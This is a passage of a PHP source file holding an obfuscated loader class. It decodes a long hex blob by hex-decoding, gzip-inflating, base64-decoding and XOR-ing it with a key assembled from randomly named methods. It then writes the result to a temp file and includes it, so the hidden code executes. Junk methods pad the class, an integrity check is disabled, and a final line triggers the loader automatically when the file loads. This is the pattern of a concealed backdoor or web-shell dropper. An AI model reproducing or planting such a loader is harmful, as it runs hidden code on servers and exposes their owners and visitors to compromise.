d16dc547298cf82afa0a78cfe05d133edaa3beeaf1f9937bf1d7e73bfe7377687fdef77ace3fabe73d7c9ccffdb4fdea17497d6dbc6fd58f6c752fe22fc5b99f9cd4b01e3fa3eee7cfdf1faf87aafce8ebd024bdc72fddd3ed34ec169f9bc53ffdfce1b01e3e74668a583d1f9dfae36d75fafc5f9d8b3469175ff5cfad7edfaefd57e7621a9bee4bf7b27abeb47557fded9e7d9d875fdaeefdebf7e7dfeeabff199ee58cf73dad748eca81f3aaeff735c6b7e76dabe7fae77d9fe9beebfcddbaadeef1a4fddaefd2a0bf77fefd5fdf97f1be57ed4b26cec493e2c779d8ebe7f68be7fd73728ccdd79f71e6e747339dbc7efdfec757f7fddfd77a9e59e7867bfadf7f7bc4aef9ebe779bc7e4d9e8bad3e533bafeed7af7f3a2ffe67f3fa97f379561cfbda2a8e75f3bfc6cbefb8f5eba3cbfa7dff58856d13780e7f7eaefcb7fbf1f1f77b58f2567f599ebe6ac5c5c839ac8fb7738cbb7dfa43fdaae2f4df7fee9ff75e3fe7fb3cfcfabc7d25b534cbf3799de2b3ffe5110e93f2a3594d8b49f81f1ff8eacd7ee65bf7f1d7389677bffd929d4736ab1338e1dd3fd807712ebe8a1fff9ff77fd7d9fbf71ff5fbff88cf8f3f1e43bdbe2f7f4b7f7f3ebf3dea49e67b3e1ffbaa5de85c573f7fc9ddf6f747cad5e9f2f95bb8cce239cd88b39378ef7f6db6611adff4f3e356d5cfec97e3f3ebef71fdacbbbd8bbf367a7f8faf6d5d7e3fb767fb6fcae1ff96d7dd817dedafebeebfd46dfcaf8baaac33f3885ceb3dde03beccfa9e2b3d17eec5334ddefeedff0b';
$hex_data = substr($hex_data, 8);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmikYKHP32', 'kmzahByZ15', 'kmzQxjnx18'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtGrcEPl18', 'gthhymby21', 'gtMlFHod84'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== '8cc2e5a7b294016f6a4512d6968914da') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_RZOHHfpj80($plain_code);
}
private function dcpPNvuL99() {
$buf = array_reverse(explode('.', 'a.b.c.d'));
$jv2 = array_reverse(explode('.', 'a.b.c.d'));
return null;
}
private function _execute_RZOHHfpj80($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
public function pubxpyTw83() {
// Public method 1
$buf = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
$jv1 = unpack('L', hash('crc32', microtime(), true));
return 'valJLPR90';
}
private function gtGrcEPl18() {
// Gate piece 1
$jv1 = array_reverse(explode('.', 'a.b.c.d'));
return str_rot13('whom2');
}
private function kmzQxjnx18() {
// Key segment 3
// cmtqtKR51
return base64_decode('cjQ=');
}
private function kmikYKHP32() {
// Key segment 1
$jv3 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
$jv1 = 4722;
return base64_decode('X2k=');
}
}
LoaderJojIQL61475::init255();
// EOF